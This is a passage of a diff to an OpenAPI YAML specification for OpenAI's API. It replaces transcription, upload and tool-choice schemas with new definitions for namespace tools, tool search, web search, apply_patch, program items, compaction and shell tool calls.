- A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
- default: []
- maxItems: 20
- items:
- type: string
- file_search:
- type: object
- properties:
- vector_store_ids:
- type: array
- description: |
- The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
- maxItems: 1
- items:
- type: string
+ - additionalProperties: {}
+ type: object
+ description: A JSON Schema describing the JSON value encoded in string outputs for this function tool. This does not describe content-array outputs.
+ x-oaiTypeLabel: map
+ - type: 'null'
+ defer_loading:
+ type: boolean
+ description: Whether this function should be deferred and discovered via tool search.
+ allowed_callers:
+ anyOf:
+ - items:
+ $ref: '#/components/schemas/CallableToolAllowedCaller'
+ type: array
+ minItems: 1
+ description: The tool invocation context(s).
- type: 'null'
- metadata:
- $ref: '#/components/schemas/Metadata'
- required:
- - id
- - object
- - created_at
- - tool_resources
- - metadata
- x-oaiMeta:
- name: The thread object
- beta: true
- example: |
- {
- "id": "thread_abc123",
- "object": "thread",
- "created_at": 1698107661,
- "metadata": {}
- }
- ThreadStreamEvent:
- anyOf:
- - type: object
- properties:
- enabled:
- type: boolean
- description: Whether to enable input audio transcription.
- event:
- type: string
- enum:
- - thread.created
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/ThreadObject'
- required:
- - event
- - data
- description: Occurs when a new [thread](https://developers.openai.com/api/docs/assistants/migration) is created.
- x-oaiMeta:
- dataDescription: '`data` is a [thread](https://developers.openai.com/api/docs/assistants/migration)'
- discriminator:
- propertyName: event
- ToggleCertificatesRequest:
type: object
+ required:
+ - name
+ - type
+ NamespaceToolParam:
properties:
- certificate_ids:
- type: array
+ type:
+ type: string
+ enum:
+ - namespace
+ description: The type of the tool. Always `namespace`.
+ default: namespace
+ x-stainless-const: true
+ name:
+ type: string
+ minLength: 1
+ description: The namespace name used in tool calls (for example, `crm`).
+ description:
+ type: string
+ description: A description of the namespace shown to the model.
+ tools:
items:
- type: string
- example: cert_abc
+ discriminator:
+ propertyName: type
+ description: A function or custom tool that belongs to a namespace.
+ anyOf:
+ - $ref: '#/components/schemas/FunctionToolParam'
+ - $ref: '#/components/schemas/CustomToolParam'
+ type: array
minItems: 1
- maxItems: 10
+ description: The function/custom tools available inside this namespace.
+ type: object
required:
- - certificate_ids
- Tool:
- description: |
- A tool that can be used to generate a response.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/FunctionTool'
- - $ref: '#/components/schemas/FileSearchTool'
- - $ref: '#/components/schemas/ComputerTool'
- - $ref: '#/components/schemas/ComputerUsePreviewTool'
- - $ref: '#/components/schemas/WebSearchTool'
- - $ref: '#/components/schemas/MCPTool'
- - $ref: '#/components/schemas/CodeInterpreterTool'
- - $ref: '#/components/schemas/ProgrammaticToolCallingParam'
- - $ref: '#/components/schemas/ImageGenTool'
- - $ref: '#/components/schemas/LocalShellToolParam'
- - $ref: '#/components/schemas/FunctionShellToolParam'
- - $ref: '#/components/schemas/CustomToolParam'
- - $ref: '#/components/schemas/NamespaceToolParam'
- - $ref: '#/components/schemas/ToolSearchToolParam'
- - $ref: '#/components/schemas/WebSearchPreviewTool'
- - $ref: '#/components/schemas/ApplyPatchToolParam'
- ToolChoiceAllowed:
+ - type
+ - name
+ - description
+ - tools
+ title: Namespace
+ description: Groups function/custom tools under a shared namespace.
+ ToolSearchToolParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - tool_search
+ description: The type of the tool. Always `tool_search`.
+ default: tool_search
+ x-stainless-const: true
+ execution:
+ $ref: '#/components/schemas/ToolSearchExecutionType'
+ description: Whether tool search is executed by the server or by the client.
+ description:
+ anyOf:
+ - type: string
+ description: Description shown to the model for a client-executed tool search tool.
+ - type: 'null'
+ parameters:
+ anyOf:
+ - $ref: '#/components/schemas/EmptyModelParam'
+ description: Parameter schema for a client-executed tool search tool.
+ - type: 'null'
+ type: object
+ required:
+ - type
+ title: Tool search tool
+ description: Hosted or BYOT tool search configuration for deferred tools.
+ ApproximateLocation:
+ properties:
+ type:
+ type: string
+ enum:
+ - approximate
+ description: The type of location approximation. Always `approximate`.
+ default: approximate
+ x-stainless-const: true
+ country:
+ anyOf:
+ - type: string
+ description: The two-letter [ISO country code](https://en.wikipedia.org/wiki/ISO_3166-1) of the user, e.g. `US`.
+ - type: 'null'
+ region:
+ anyOf:
+ - type: string
+ description: Free text input for the region of the user, e.g. `California`.
+ - type: 'null'
+ city:
+ anyOf:
+ - type: string
+ description: Free text input for the city of the user, e.g. `San Francisco`.
+ - type: 'null'
+ timezone:
+ anyOf:
+ - type: string
+ description: The [IANA timezone](https://timeapi.io/documentation/iana-timezones) of the user, e.g. `America/Los_Angeles`.
+ - type: 'null'
type: object
- title: Allowed tools
- description: |
- Constrains the tools available to the model to a pre-defined set.
+ required:
+ - type
+ SearchContextSize:
+ type: string
+ enum:
+ - low
+ - medium
+ - high
+ SearchContentType:
+ type: string
+ enum:
+ - text
+ - image
+ WebSearchPreviewTool:
properties:
type:
type: string
enum:
- - allowed_tools
- description: Allowed tool configuration type. Always `allowed_tools`.
+ - web_search_preview
+ - web_search_preview_2025_03_11
+ description: The type of the web search tool. One of `web_search_preview` or `web_search_preview_2025_03_11`.
+ default: web_search_preview
x-stainless-const: true
- mode:
- type: string
- enum:
- - auto
- - required
- description: |
- Constrains the tools available to the model to a pre-defined set.
-
- `auto` allows the model to pick from among the allowed tools and generate a
- message.
-
- `required` requires the model to call one or more of the allowed tools.
- tools:
- type: array
- description: |
- A list of tool definitions that the model should be allowed to call.
-
- For the Responses API, the list of tool definitions might look like:
- ```json
- [
- { "type": "function", "name": "get_weather" },
- { "type": "mcp", "server_label": "deepwiki" },
- { "type": "image_generation" }
- ]
- ```
+ user_location:
+ anyOf:
+ - $ref: '#/components/schemas/ApproximateLocation'
+ description: The user's location.
+ - type: 'null'
+ search_context_size:
+ $ref: '#/components/schemas/SearchContextSize'
+ description: High level guidance for the amount of context window space to use for the search. One of `low`, `medium`, or `high`. `medium` is the default.
+ search_content_types:
items:
- type: object
- description: |
- A tool definition that the model should be allowed to call.
- additionalProperties: true
- x-oaiExpandable: false
+ $ref: '#/components/schemas/SearchContentType'
+ type: array
+ type: object
required:
- type
- - mode
- - tools
- ToolChoiceCustom:
+ title: Web search preview
+ description: This tool searches the web for relevant results to use in a response. Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
+ ApplyPatchToolParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - apply_patch
+ description: The type of the tool. Always `apply_patch`.
+ default: apply_patch
+ x-stainless-const: true
+ allowed_callers:
+ anyOf:
+ - items:
+ $ref: '#/components/schemas/CallableToolAllowedCaller'
+ type: array
+ minItems: 1
+ description: The tool invocation context(s).
+ - type: 'null'
type: object
- title: Custom tool
- description: |
- Use this option to force the model to call a specific custom tool.
+ required:
+ - type
+ title: Apply patch tool
+ description: Allows the assistant to create, delete, or update files using unified diffs.
+ ToolSearchOutput:
properties:
type:
type: string
enum:
- - custom
- description: For custom tool calling, the type is always `custom`.
+ - tool_search_output
+ description: The type of the item. Always `tool_search_output`.
+ default: tool_search_output
x-stainless-const: true
- name:
+ id:
type: string
- description: The name of the custom tool to call.
+ description: The unique ID of the tool search output item.
+ call_id:
+ anyOf:
+ - type: string
+ description: The unique ID of the tool search call generated by the model.
+ - type: 'null'
+ execution:
+ $ref: '#/components/schemas/ToolSearchExecutionType'
+ description: Whether tool search was executed by the server or by the client.
+ tools:
+ items:
+ $ref: '#/components/schemas/Tool'
+ type: array
+ description: The loaded tool definitions returned by tool search.
+ status:
+ $ref: '#/components/schemas/FunctionCallOutputStatusEnum'
+ description: The status of the tool search output item that was recorded.
+ created_by:
+ type: string
+ description: The identifier of the actor that created the item.
+ type: object
required:
- type
- - name
- ToolChoiceFunction:
- type: object
- title: Function tool
- description: |
- Use this option to force the model to call a specific function.
+ - id
+ - call_id
+ - execution
+ - tools
+ - status
+ AdditionalTools:
properties:
type:
type: string
enum:
- - function
- description: For function calling, the type is always `function`.
+ - additional_tools
+ description: The type of the item. Always `additional_tools`.
+ default: additional_tools
x-stainless-const: true
- name:
+ id:
type: string
- description: The name of the function to call.
+ description: The unique ID of the additional tools item.
+ role:
+ $ref: '#/components/schemas/MessageRole'
+ description: The role that provided the additional tools.
+ tools:
+ items:
+ $ref: '#/components/schemas/Tool'
+ type: array
+ description: The additional tool definitions made available at this item.
+ type: object
required:
- type
- - name
- ToolChoiceMCP:
- type: object
- title: MCP tool
- description: |
- Use this option to force the model to call a specific tool on a remote MCP server.
+ - id
+ - role
+ - tools
+ Program:
properties:
type:
type: string
enum:
- - mcp
- description: For MCP tools, the type is always `mcp`.
+ - program
+ description: The type of the item. Always `program`.
+ default: program
x-stainless-const: true
- server_label:
+ id:
type: string
- description: |
- The label of the MCP server to use.
- name:
- anyOf:
- - type: string
- description: |
- The name of the tool to call on the server.
- - type: 'null'
+ description: The unique ID of the program item.
+ call_id:
+ type: string
+ description: The stable call ID of the program item.
+ code:
+ type: string
+ description: The JavaScript source executed by programmatic tool calling.
+ fingerprint:
+ type: string
+ description: Opaque program replay fingerprint that must be round-tripped.
+ type: object
required:
- type
- - server_label
- ToolChoiceOptions:
+ - id
+ - call_id
+ - code
+ - fingerprint
+ ProgramOutputStatus:
type: string
- title: Tool choice mode
- description: |
- Controls which (if any) tool is called by the model.
-
- `none` means the model will not call any tool and instead generates a message.
-
- `auto` means the model can pick between generating a message or calling one or
- more tools.
-
- `required` means the model must call one or more tools.
enum:
- - none
- - auto
- - required
- ToolChoiceParam:
- description: |
- How the model should select which tool (or tools) to use when generating
- a response. See the `tools` parameter to see how to specify which tools
- the model can call.
- anyOf:
- - $ref: '#/components/schemas/ToolChoiceOptions'
- - $ref: '#/components/schemas/ToolChoiceAllowed'
- - $ref: '#/components/schemas/ToolChoiceTypes'
- - $ref: '#/components/schemas/ToolChoiceFunction'
- - $ref: '#/components/schemas/ToolChoiceMCP'
- - $ref: '#/components/schemas/ToolChoiceCustom'
- - $ref: '#/components/schemas/SpecificProgrammaticToolCallingParam'
- - $ref: '#/components/schemas/SpecificApplyPatchParam'
- - $ref: '#/components/schemas/SpecificFunctionShellParam'
- discriminator:
- propertyName: type
- ToolChoiceTypes:
- type: object
- title: Hosted tool
- description: |
- Indicates that the model should use a built-in tool to generate a response.
- [Learn more about built-in tools](https://developers.openai.com/api/docs/guides/tools).
+ - completed
+ - incomplete
+ ProgramOutput:
properties:
type:
type: string
- description: |
- The type of hosted tool the model should to use. Learn more about
- [built-in tools](https://developers.openai.com/api/docs/guides/tools).
-
- Allowed values are:
- - `file_search`
- - `web_search_preview`
- - `computer`
- - `computer_use_preview`
- - `computer_use`
- - `code_interpreter`
- - `image_generation`
enum:
- - file_search
- - web_search_preview
- - computer
- - computer_use_preview
- - computer_use
- - web_search_preview_2025_03_11
- - image_generation
- - code_interpreter
+ - program_output
+ description: The type of the item. Always `program_output`.
+ default: program_output
+ x-stainless-const: true
+ id:
+ type: string
+ description: The unique ID of the program output item.
+ call_id:
+ type: string
+ description: The call ID of the program item.
+ result:
+ type: string
+ description: The result produced by the program item.
+ status:
+ $ref: '#/components/schemas/ProgramOutputStatus'
+ description: The terminal status of the program output item.
+ type: object
required:
- type
- ToolsArray:
- type: array
- description: |
- An array of tools the model may call while generating a response. You
- can specify which tool to use by setting the `tool_choice` parameter.
-
- We support the following categories of tools:
- - **Built-in tools**: Tools that are provided by OpenAI that extend the
- model's capabilities, like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
- or [file search](https://developers.openai.com/api/docs/guides/tools-file-search). Learn more about
- [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- - **MCP Tools**: Integrations with third-party systems via custom MCP servers
- or predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- - **Function calls (custom tools)**: Functions that are defined by you,
- enabling the model to call your own code with strongly typed arguments
- and outputs. Learn more about
- [function calling](https://developers.openai.com/api/docs/guides/function-calling). You can also use
- custom tools to call your own code.
- items:
- $ref: '#/components/schemas/Tool'
- TranscriptTextDeltaEvent:
- type: object
- description: Emitted when there is an additional text delta. This is also the first event emitted when the transcription starts. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `Stream` parameter set to `true`.
+ - id
+ - call_id
+ - result
+ - status
+ CompactionBody:
properties:
type:
type: string
- description: |
- The type of the event. Always `transcript.text.delta`.
enum:
- - transcript.text.delta
+ - compaction
+ description: The type of the item. Always `compaction`.
+ default: compaction
x-stainless-const: true
- delta:
+ id:
type: string
- description: |
- The text delta that was additionally transcribed.
- logprobs:
- type: array
- description: |
- The log probabilities of the delta. Only included if you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `include[]` parameter set to `logprobs`.
- items:
- type: object
- properties:
- token:
- type: string
- description: |
- The token that was used to generate the log probability.
- logprob:
- type: number
- description: |
- The log probability of the token.
- bytes:
- type: array
- items:
- type: integer
- description: |
- The bytes that were used to generate the log probability.
- segment_id:
+ description: The unique ID of the compaction item.
+ encrypted_content:
type: string
- description: |
- Identifier of the diarized segment that this delta belongs to. Only present when using `gpt-4o-transcribe-diarize`.
+ description: The encrypted content that was produced by compaction.
+ created_by:
+ type: string
+ description: The identifier of the actor that created the item.
+ type: object
required:
- type
- - delta
- x-oaiMeta:
- name: Stream Event (transcript.text.delta)
- group: transcript
- example: |
- {
- "type": "transcript.text.delta",
- "delta": " wonderful"
- }
- TranscriptTextDoneEvent:
- type: object
- description: Emitted when the transcription is complete. Contains the complete transcription text. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `Stream` parameter set to `true`.
+ - id
+ - encrypted_content
+ title: Compaction item
+ description: A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
+ CodeInterpreterOutputLogs:
properties:
type:
type: string
- description: |
- The type of the event. Always `transcript.text.done`.
enum:
- - transcript.text.done
+ - logs
+ description: The type of the output. Always `logs`.
+ default: logs
x-stainless-const: true
- text:
+ logs:
type: string
- description: |
- The text that was transcribed.
- languages:
- type: array
- description: |
- The languages detected in the audio. Returned by `gpt-transcribe`. An empty array indicates that no language could be reliably detected.
- items:
- $ref: '#/components/schemas/TranscriptionLanguage'
- logprobs:
- type: array
- description: |
- The log probabilities of the individual tokens in the transcription. Only included if you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `include[]` parameter set to `logprobs`.
- items:
- type: object
- properties:
- token:
- type: string
- description: |
- The token that was used to generate the log probability.
- logprob:
- type: number
- description: |
- The log probability of the token.
- bytes:
- type: array
- items:
- type: integer
- description: |
- The bytes that were used to generate the log probability.
- usage:
- $ref: '#/components/schemas/TranscriptTextUsageTokens'
+ description: The logs output from the code interpreter.
+ type: object
required:
- type
- - text
- x-oaiMeta:
- name: Stream Event (transcript.text.done)
- group: transcript
- example: |
- {
- "type": "transcript.text.done",
- "text": "I see skies of blue and clouds of white, the bright blessed days, the dark sacred nights, and I think to myself, what a wonderful world.",
- "usage": {
- "type": "tokens",
- "input_tokens": 14,
- "input_token_details": {
- "text_tokens": 10,
- "audio_tokens": 4
- },
- "output_tokens": 31,
- "total_tokens": 45
- }
- }
- TranscriptTextSegmentEvent:
- type: object
- description: |
- Emitted when a diarized transcription returns a completed segment with speaker information. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with `stream` set to `true` and `response_format` set to `diarized_json`.
+ - logs
+ title: Code interpreter output logs
+ description: The logs output from the code interpreter.
+ CodeInterpreterOutputImage:
properties:
type:
type: string
- description: The type of the event. Always `transcript.text.segment`.
enum:
- - transcript.text.segment
+ - image
+ description: The type of the output. Always `image`.
+ default: image
x-stainless-const: true
- id:
- type: string
- description: Unique identifier for the segment.
- start:
- type: number
- format: double
- description: Start timestamp of the segment in seconds.
- end:
- type: number
- format: double
- description: End timestamp of the segment in seconds.
- text:
- type: string
- description: Transcript text for this segment.
- speaker:
+ url:
type: string
- description: Speaker label for this segment.
+ format: uri
+ description: The URL of the image output from the code interpreter.
+ type: object
required:
- type
- - id
- - start
- - end
- - text
- - speaker
- x-oaiMeta:
- name: Stream Event (transcript.text.segment)
- group: transcript
- example: |
- {
- "type": "transcript.text.segment",
- "id": "seg_002",
- "start": 5.2,
- "end": 12.8,
- "text": "Hi, I need help with diarization.",
- "speaker": "A"
- }
- TranscriptTextUsageDuration:
+ - url
+ title: Code interpreter output image
+ description: The image output from the code interpreter.
+ LocalShellExecAction:
+ properties:
+ type:
+ type: string
+ enum:
+ - exec
+ description: The type of the local shell action. Always `exec`.
+ default: exec
+ x-stainless-const: true
+ command:
+ items:
+ type: string
+ type: array
+ description: The command to run.
+ timeout_ms:
+ anyOf:
+ - type: integer
+ description: Optional timeout in milliseconds for the command.
+ - type: 'null'
+ working_directory:
+ anyOf:
+ - type: string
+ description: Optional working directory to run the command in.
+ - type: 'null'
+ env:
+ additionalProperties:
+ type: string
+ type: object
+ description: Environment variables to set for the command.
+ x-oaiTypeLabel: map
+ user:
+ anyOf:
+ - type: string
+ description: Optional user to run the command as.
+ - type: 'null'
type: object
- title: TranscriptTextUsageDuration
- description: Usage statistics for models billed by audio input duration.
+ required:
+ - type
+ - command
+ - env
+ title: Local shell exec action
+ description: Execute a shell command on the server.
+ FunctionShellAction:
+ properties:
+ commands:
+ items:
+ type: string
+ description: A list of commands to run.
+ type: array
+ timeout_ms:
+ anyOf:
+ - type: integer
+ description: Optional timeout in milliseconds for the commands.
+ - type: 'null'
+ max_output_length:
+ anyOf:
+ - type: integer
+ description: Optional maximum number of characters to return from each command.
+ - type: 'null'
+ type: object
+ required:
+ - commands
+ - timeout_ms
+ - max_output_length
+ title: Shell exec action
+ description: Execute a shell command.
+ FunctionShellCallStatus:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ LocalEnvironmentResource:
properties:
type:
type: string
enum:
- - duration
- description: The type of the usage object. Always `duration` for this variant.
+ - local
+ description: The environment type. Always `local`.
+ default: local
x-stainless-const: true
- seconds:
- type: number
- format: double
- description: Duration of the input audio in seconds.
+ type: object
required:
- type
- - seconds
- TranscriptTextUsageTokens:
- type: object
- title: TranscriptTextUsageTokens
- description: Usage statistics for models billed by token usage.
+ title: Local Environment
+ description: Represents the use of a local environment to perform shell actions.
+ ContainerReferenceResource:
properties:
type:
type: string
enum:
- - tokens
- description: The type of the usage object. Always `tokens` for this variant.
+ - container_reference
+ description: The environment type. Always `container_reference`.
+ default: container_reference
x-stainless-const: true
- input_tokens:
- type: integer
- description: Number of input tokens billed for this request.
- input_token_details:
- type: object
- description: Details about the input tokens billed for this request.
- properties:
- text_tokens:
- type: integer
- description: Number of text tokens billed for this request.
- audio_tokens:
- type: integer
- description: Number of audio tokens billed for this request.
- output_tokens:
- type: integer
- description: Number of output tokens generated.
- total_tokens:
- type: integer
- description: Total number of tokens used (input + output).
+ container_id:
+ type: string
+ type: object
required:
- type
- - input_tokens
- - output_tokens
- - total_tokens
- TranscriptionChunkingStrategy:
- anyOf:
- - description: 'Controls how the audio is cut into chunks. When set to `"auto"`, the server first normalizes loudness and then uses voice activity detection (VAD) to choose boundaries. `server_vad` object can be provided to tweak VAD detection parameters manually. If unset, the audio is transcribed as a single block. Required when using `gpt-4o-transcribe-diarize` for inputs longer than 30 seconds. '
- anyOf:
- - type: string
- enum:
- - auto
- default: auto
- description: |
- Automatically set chunking parameters based on the audio. Must be set to `"auto"`.
- x-stainless-const: true
- - $ref: '#/components/schemas/VadConfig'
- x-oaiTypeLabel: string
- - type: 'null'
- TranscriptionDiarizedSegment:
- type: object
- description: A segment of diarized transcript text with speaker metadata.
+ - container_id
+ title: Container Reference
+ description: Represents a container created with /v1/containers.
+ FunctionShellCall:
properties:
type:
type: string
- description: |
- The type of the segment. Always `transcript.text.segment`.
enum:
- - transcript.text.segment
+ - shell_call
+ description: The type of the item. Always `shell_call`.
+ default: shell_call
x-stainless-const: true
id:
type: string
- description: Unique identifier for the segment.
- start:
- type: number
- format: double
- description: Start timestamp of the segment in seconds.
- end:
- type: number
- format: double
- description: End timestamp of the segment in seconds.
- text:
+ description: The unique ID of the shell tool call. Populated when this item is returned via API.
+ call_id:
type: string
- description: Transcript text for this segment.
- speaker:
+ description: The unique ID of the shell tool call generated by the model.
+ caller:
+ anyOf:
+ - $ref: '#/components/schemas/ToolCallCaller'
+ description: The execution context that produced this tool call.
+ - type: 'null'
+ action:
+ $ref: '#/components/schemas/FunctionShellAction'
+ description: The shell commands and limits that describe how to run the tool call.
+ status:
+ $ref: '#/components/schemas/FunctionShellCallStatus'
+ description: The status of the shell call. One of `in_progress`, `completed`, or `incomplete`.
+ environment:
+ anyOf:
+ - discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LocalEnvironmentResource'
+ - $ref: '#/components/schemas/ContainerReferenceResource'
+ - type: 'null'
+ created_by:
type: string
- description: |
- Speaker label for this segment. When known speakers are provided, the label matches `known_speaker_names[]`. Otherwise speakers are labeled sequentially using capital letters (`A`, `B`, ...).
+ description: The ID of the entity that created this tool call.
+ type: object
required:
- type
- id
- - start
- - end
- - text
- - speaker
- TranscriptionInclude:
+ - call_id
+ - action
+ - status
+ - environment
+ title: Shell tool call
+ description: A tool call that executes one or more shell commands in a managed environment.
+ FunctionShellCallOutputStatusEnum:
type: string
enum:
- - logprobs
- TranscriptionLanguage:
- type: object
- description: A language detected in transcribed audio.
- properties:
- code:
- type: string
- description: The code of a language detected in the audio.
- required:
- - code
- TranscriptionSegment:
- type: object
- properties:
- id:
- type: integer
- description: Unique identifier of the segment.
- seek:
- type: integer
- description: Seek offset of the segment.
- start:
- type: number
- format: double
- description: Start time of the segment in seconds.
- end:
- type: number
- format: double
- description: End time of the segment in seconds.
- text:
- type: string
- description: Text content of the segment.
- tokens:
- type: array
- items:
- type: integer
- description: Array of token IDs for the text content.
- temperature:
- type: number
- format: float
- description: Temperature parameter used for generating the segment.
- avg_logprob:
- type: number
- format: float
- description: Average logprob of the segment. If the value is lower than -1, consider the logprobs failed.
- compression_ratio:
- type: number
- format: float
- description: Compression ratio of the segment. If the value is greater than 2.4, consider the compression failed.
- no_speech_prob:
- type: number
- format: float
- description: Probability of no speech in the segment. If the value is higher than 1.0 and the `avg_logprob` is below -1, consider this segment silent.
- required:
- - id
- - seek
- - start
- - end
- - text
- - tokens
- - temperature
- - avg_logprob
- - compression_ratio
- - no_speech_prob
- TranscriptionWord:
- type: object
- properties:
- word:
- type: string
- description: The text content of the word.
- start:
- type: number
- format: double
- description: Start time of the word in seconds.
- end:
- type: number
- format: double
- description: End time of the word in seconds.
- required:
- - word
- - start
- - end
- TruncationObject:
- type: object
- title: Thread Truncation Controls
- description: Controls for how a thread will be truncated prior to the run. Use this to control the initial context window of the run.
+ - in_progress
+ - completed
+ - incomplete
+ FunctionShellCallOutputTimeoutOutcome:
properties:
type:
type: string
- description: The truncation strategy to use for the thread. The default is `auto`. If set to `last_messages`, the thread will be truncated to the n most recent messages in the thread. When set to `auto`, messages in the middle of the thread will be dropped to fit the context length of the model, `max_prompt_tokens`.
enum:
- - auto
- - last_messages
- last_messages:
- anyOf:
- - type: integer
- description: The number of most recent messages from the thread when constructing the context for the run.
- minimum: 1
- - type: 'null'
- required:
- - type
- UpdateGroupBody:
+ - timeout
+ description: The outcome type. Always `timeout`.
+ default: timeout
+ x-stainless-const: true
type: object
- description: Request payload for updating the details of an existing group.
- properties:
- name:
- type: string
- description: New display name for the group.
- minLength: 1
- maxLength: 255
required:
- - name
- x-oaiMeta:
- example: |
- {
- "name": "Escalations"
- }
- UpdateOrganizationDataRetentionBody:
- type: object
- description: Parameters for updating organization data retention controls.
+ - type
+ title: Shell call timeout outcome
+ description: Indicates that the shell call exceeded its configured time limit.
+ FunctionShellCallOutputExitOutcome:
properties:
- retention_type:
+ type:
type: string
enum:
- - zero_data_retention
- - modified_abuse_monitoring
- - enhanced_zero_data_retention
- - enhanced_modified_abuse_monitoring
- description: The desired organization data retention type.
- required:
- - retention_type
- UpdateProjectDataRetentionBody:
+ - exit
+ description: The outcome type. Always `exit`.
+ default: exit
+ x-stainless-const: true
+ exit_code:
+ type: integer
+ description: Exit code from the shell process.
type: object
- description: Parameters for updating project data retention controls.
- properties:
- retention_type:
- type: string
- enum:
- - organization_default
- - none
- - zero_data_retention
- - modified_abuse_monitoring
- - enhanced_zero_data_retention
- - enhanced_modified_abuse_monitoring
- description: The desired project data retention type.
required:
- - retention_type
- UpdateProjectServiceAccountBody:
- type: object
- description: Parameters for updating a project service account.
+ - type
+ - exit_code
+ title: Shell call exit outcome
+ description: Indicates that the shell commands finished and returned an exit code.
+ FunctionShellCallOutputContent:
properties:
- name:
+ stdout:
type: string
- description: The updated service account name.
- role:
+ description: The standard output that was captured.
+ stderr:
type: string
- enum:
- - member
- - owner
- description: The updated service account role.
- UpdateVectorStoreFileAttributesRequest:
- type: object
- additionalProperties: false
- properties:
- attributes:
- $ref: '#/components/schemas/VectorStoreFileAttributes'
- required:
- - attributes
- x-oaiMeta:
- name: Update vector store file attributes request
- UpdateVectorStoreRequest:
- type: object
- additionalProperties: false
- properties:
- name:
- description: The name of the vector store.
+ description: The standard error output that was captured.
+ outcome:
+ discriminator:
+ propertyName: type
+ title: Shell call outcome
+ description: Represents either an exit outcome (with an exit code) or a timeout outcome for a shell call output chunk.
+ anyOf:
+ - $ref: '#/components/schemas/FunctionShellCallOutputTimeoutOutcome'
+ - $ref: '#/components/schemas/FunctionShellCallOutputExitOutcome'
+ created_by:
type: string
- nullable: true
- expires_after:
- allOf:
- - $ref: '#/components/schemas/VectorStoreExpirationAfter'
- - nullable: true
- metadata:
- $ref: '#/components/schemas/Metadata'
- UpdateVoiceConsentRequest:
+ description: The identifier of the actor that created the item.
type: object
- additionalProperties: false
- properties:
- name:
- type: string
- description: The updated label for this consent recording.
required:
- - name
- Upload:
- type: object
- title: Upload
- description: |
- The Upload object can accept byte chunks in the form of Parts.
+ - stdout
+ - stderr
+ - outcome
+ title: Shell call output content
+ description: The content of a shell tool call output that was emitted.
+ FunctionShellCallOutput:
properties:
- id:
+ type:
type: string
- description: The Upload unique identifier, which can be referenced in API endpoints.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the Upload was created.
- filename:
+ enum:
+ - shell_call_output
+ description: The type of the shell call output. Always `shell_call_output`.
+ default: shell_call_output
+ x-stainless-const: true
+ id:
type: string
- description: The name of the file to be uploaded.
- bytes:
- type: integer
- description: The intended number of bytes to be uploaded.
- purpose:
+ description: The unique ID of the shell call output. Populated when this item is returned via API.
+ call_id:
type: string
- description: The intended purpose of the file. [Please refer here](https://developers.openai.com/api/reference/resources/files#%28resource%29%20files%20%3E%20%28model%29%20file_object%20%3E%20%28schema%29%20%3E%20%28property%29%20purpose) for acceptable values.
+ description: The unique ID of the shell tool call generated by the model.
+ caller:
+ anyOf:
+ - $ref: '#/components/schemas/ToolCallCaller'
+ description: The execution context that produced this tool call.
+ - type: 'null'
status:
+ $ref: '#/components/schemas/FunctionShellCallOutputStatusEnum'
+ description: The status of the shell call output. One of `in_progress`, `completed`, or `incomplete`.
+ output:
+ items:
+ $ref: '#/components/schemas/FunctionShellCallOutputContent'
+ type: array
+ description: An array of shell call output contents
+ max_output_length:
+ anyOf:
+ - type: integer
+ description: The maximum length of the shell command output. This is generated by the model and should be passed back with the raw output.
+ - type: 'null'
+ created_by:
type: string
- description: The status of the Upload.
- enum:
- - pending
- - completed
- - cancelled
- - expired
- expires_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the Upload will expire.
- object:
- type: string
- description: The object type, which is always "upload".
- enum:
- - upload
- x-stainless-const: true
- file:
- allOf:
- - $ref: '#/components/schemas/OpenAIFile'
- - nullable: true
- description: The ready File object after the Upload is completed.
+ description: The identifier of the actor that created the item.
+ type: object
required:
- - bytes
- - created_at
- - expires_at
- - filename
+ - type
- id
- - purpose
+ - call_id
- status
- - object
- x-oaiMeta:
- name: The upload object
- example: |
- {
- "id": "upload_abc123",
- "object": "upload",
- "bytes": 2147483648,
- "created_at": 1719184911,
- "filename": "training_examples.jsonl",
- "purpose": "fine-tune",
- "status": "completed",
- "expires_at": 1719127296,
- "file": {
- "id": "file-xyz321",
- "object": "file",
- "bytes": 2147483648,
- "created_at": 1719186911,
- "filename": "training_examples.jsonl",
- "purpose": "fine-tune",
- }
- }
- UploadCertificateRequest:
+ - output
+ - max_output_length
+ title: Shell call output
+ description: The output of a shell tool call that was emitted.
+ ApplyPatchCallStatus:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ ApplyPatchCreateFileOperation:
+ properties:
+ type:
+ type: string
+ enum:
+ - create_file
+ description: Create a new file with the provided diff.
+ default: create_file
+ x-stainless-const: true
+ path:
+ type: string
+ description: Path of the file to create.
+ diff:
+ type: string
+ description: Diff to apply.
type: object
+ required:
+ - type
+ - path
+ - diff
+ title: Apply patch create file operation
+ description: Instruction describing how to create a file via the apply_patch tool.
+ ApplyPatchDeleteFileOperation:
properties:
- name:
+ type:
type: string
- description: An optional name for the certificate
- certificate:
+ enum:
+ - delete_file
+ description: Delete the specified file.
+ default: delete_file
+ x-stainless-const: true
+ path:
type: string
- description: The certificate content in PEM format
- required:
- - certificate
- UploadPart:
+ description: Path of the file to delete.
type: object
- title: UploadPart
- description: |
- The upload Part represents a chunk of bytes we can add to an Upload object.
+ required:
+ - type
+ - path
+ title: Apply patch delete file operation
